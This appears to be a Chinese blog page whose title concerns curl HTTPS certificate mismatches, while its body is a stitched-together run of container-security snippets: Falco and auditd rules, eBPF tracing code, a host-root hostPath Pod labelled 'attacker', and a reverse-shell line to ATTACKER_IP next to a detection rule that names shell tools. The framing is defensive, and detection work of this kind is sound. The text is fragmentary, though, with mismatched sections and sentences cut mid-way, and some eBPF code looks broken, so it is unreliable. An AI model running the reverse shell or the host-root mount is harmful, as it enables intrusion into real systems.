curl用IP测试HTTPS报证书不匹配:--resolve与Host头别混用
2026/10/8 6:46:38
- rule: Detect Shell in Container desc: A shell was spawned in a container condition: > spawned_process and container and shell_procs not in (shell_blacklist) output: > Shell detected in container (user=%user.name %container.info shell=%proc.name parent=%proc.pname cmdline=%proc.cmdline) priority: WARNING上述规则监控容器内是否启动了交互式 shell,常用于防止恶意命令执行。| 输出方式 | 用途说明 |
|---|---|
| Stdout / File | 本地调试与日志记录 |
| HTTP Endpoint | 集成 SIEM 或安全编排平台 |
| Syslog | 集中式日志管理系统接入 |
/proc:暴露宿主机进程信息/sys:可修改内核参数(如启用容器逃逸)/etc/shadow:若挂载则可获取密码哈希apiVersion: v1 kind: Pod spec: containers: - name: attacker image: ubuntu volumeMounts: - mountPath: /host-root name: host-volume volumes: - name: host-volume hostPath: path: / # 危险:挂载整个根文件系统该配置将宿主机根目录挂载至容器内,使容器能读取/etc/passwd、.kube/config等关键文件,极大提升攻击面。应遵循最小权限原则,避免使用hostPath挂载敏感路径。inotifywait -m -e modify,attrib,access /etc/passwd /etc/shadow该命令持续监控指定文件的修改(modify)、属性变更(attrib)和访问(access)行为。参数 `-m` 启用持续监听模式,便于捕获所有相关事件。/etc/ssh/sshd_config来植入后门。为防止此类行为,可使用文件属性锁定机制。chattr +i /etc/ssh/sshd_config该命令通过chattr工具设置文件的“不可变”属性,即使root用户也无法删除或修改。需临时解除时使用chattr -i,修改后再重新锁定。inotify监控配置目录的变更行为,及时发现异常写入尝试。/etc/ssh/SEC("tracepoint/syscalls/sys_enter_open") int trace_open_enter(struct trace_event_raw_sys_enter *ctx) { const char __user *filename = (const char __user *)ctx->args[0]; bpf_probe_read_user_str(&file_path, sizeof(file_path), filename); bpf_printk("Opening file: %s\n", file_path); return 0; }上述代码注册一个跟踪点,捕获每次文件打开操作的路径参数。`ctx->args[0]`指向用户传入的文件路径地址,通过`bpf_probe_read_user_str`安全读取用户空间字符串。// 动态阈值计算示例 func calculateDynamicThreshold(data []float64, sigma float64) (upper, lower float64) { mean := stats.Mean(data) std := stats.StdDev(data) return mean + sigma*std, mean - sigma*std // 通常取2~3倍标准差 }该函数通过统计学方法计算上下限,适用于CPU、内存等周期性变化指标。参数sigma控制灵敏度,建议初始设为2.5,根据实际误报率微调。SEC("tracepoint/syscalls/sys_enter_connect") int trace_connect(struct trace_event_raw_sys_enter *ctx) { u64 pid = bpf_get_current_pid_tgid(); int fd = ctx->args[0]; struct sockaddr_in *addr = (struct sockaddr_in *)ctx->args[1]; bpf_printk("Connect attempt: PID %d to %d.%d.%d.%d:%d", pid, (addr->sin_addr >> 0) & 0xFF, (addr->sin_addr >> 8) & 0xFF, (addr->sin_addr >> 16) & 0xFF, (addr->sin_addr >> 24) & 0xFF, ntohs(addr->sin_port)); return 0; }该eBPF程序挂载至connect系统调用,捕获所有出向连接请求。通过提取目标IP与端口,可结合威胁情报库实时比对,识别C2回连等高危行为。参数ctx->args[1]指向目标地址结构,经位运算解析后输出明文日志,供后续分析引擎消费。OutboundNetworkEvents | where RemotePort not in (53, 80, 443) | summarize Connections = count() by DeviceName, RemoteIP | where Connections > 10该查询筛选非常用服务端口(非DNS/HTTP/HTTPS),统计每台设备的目标IP连接频次,突出潜在C2活动。SEC("tracepoint/syscalls/sys_enter_connect") int trace_connect(struct trace_event_raw_sys_enter *ctx) { u64 pid = bpf_get_current_pid_tgid(); struct socket_args args = {}; if (bpf_probe_read(&args, sizeof(args), (void *)ctx->args[0])) return 0; u16 dport = get_dest_port(&args); if (dport == 22) { increment_counter(pid); // 统计22端口连接次数 bpf_trace_printk("Suspicious SSH connection from container\n"); } return 0; }该程序挂载至connect系统调用,提取目标端口信息。当端口为 22 时,记录来源进程并打印日志,便于后续联动 iptables 封禁源IP。execve系统调用,追踪新进程的执行。以下为示例代码片段:SEC("tracepoint/syscalls/sys_enter_execve") int trace_execve(struct trace_event_raw_sys_enter *ctx) { struct data_t data = {}; bpf_get_current_comm(&data.comm, sizeof(data.comm)); bpf_probe_read_str(&data.filename, sizeof(data.filename), (void *)ctx->args[0]); events.perf_submit(ctx, &data, sizeof(data)); return 0; }该程序监听execve调用,记录执行命令与二进制路径。参数ctx->args[0]指向被执行程序路径,bpf_get_current_comm获取当前容器进程名。/tmp或/dev/shm下启动可执行文件chmod +x、wget、curl下载远程脚本auditctl -a always,exit -F arch=b64 -S chmod -k file_permission_change该规则表示:当64位系统调用 `chmod` 时触发记录,关键字标记为 `file_permission_change`。参数说明: - `-a always,exit`:在系统调用退出阶段始终激活; - `-F arch=b64`:限定架构为x86_64; - `-S chmod`:监控的系统调用类型; - `-k`:为事件设置标识符,便于日志检索。-a always,exit -F arch=b64 -S execve -C uid!=euid -k priv_exec该规则监控所有 `execve` 调用中实际 UID 与有效 EUID 不一致的情况,常用于识别权限提升行为。`-k priv_exec` 为事件打上关键字标签,便于日志检索。bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1等命令建立反向连接。此类流量具有高危端口外联、非常规进程发起网络请求等特征。{ "rule": "Detect Reverse Shell", "conditions": { "process_name": ["bash", "sh", "nc", "python"], "network_direction": "outbound", "remote_port": "< 1024 or = 4444" } }该规则匹配常见解释器进程发起的低编号端口外联行为,提升告警优先级。日志采集 → 行为分析 → 告警触发 → 防火墙动态封禁 → 进程终止
scrape_configs: - job_name: 'go-microservice' static_configs: - targets: ['10.0.1.10:8080', '10.0.1.11:8080'] metrics_path: '/metrics' scheme: http relabel_configs: - source_labels: [__address__] target_label: instance| 服务名称 | CPU Request | Memory Limit | HPA 目标利用率 |
|---|---|---|---|
| user-service | 100m | 256Mi | 70% |
| order-service | 150m | 384Mi | 65% |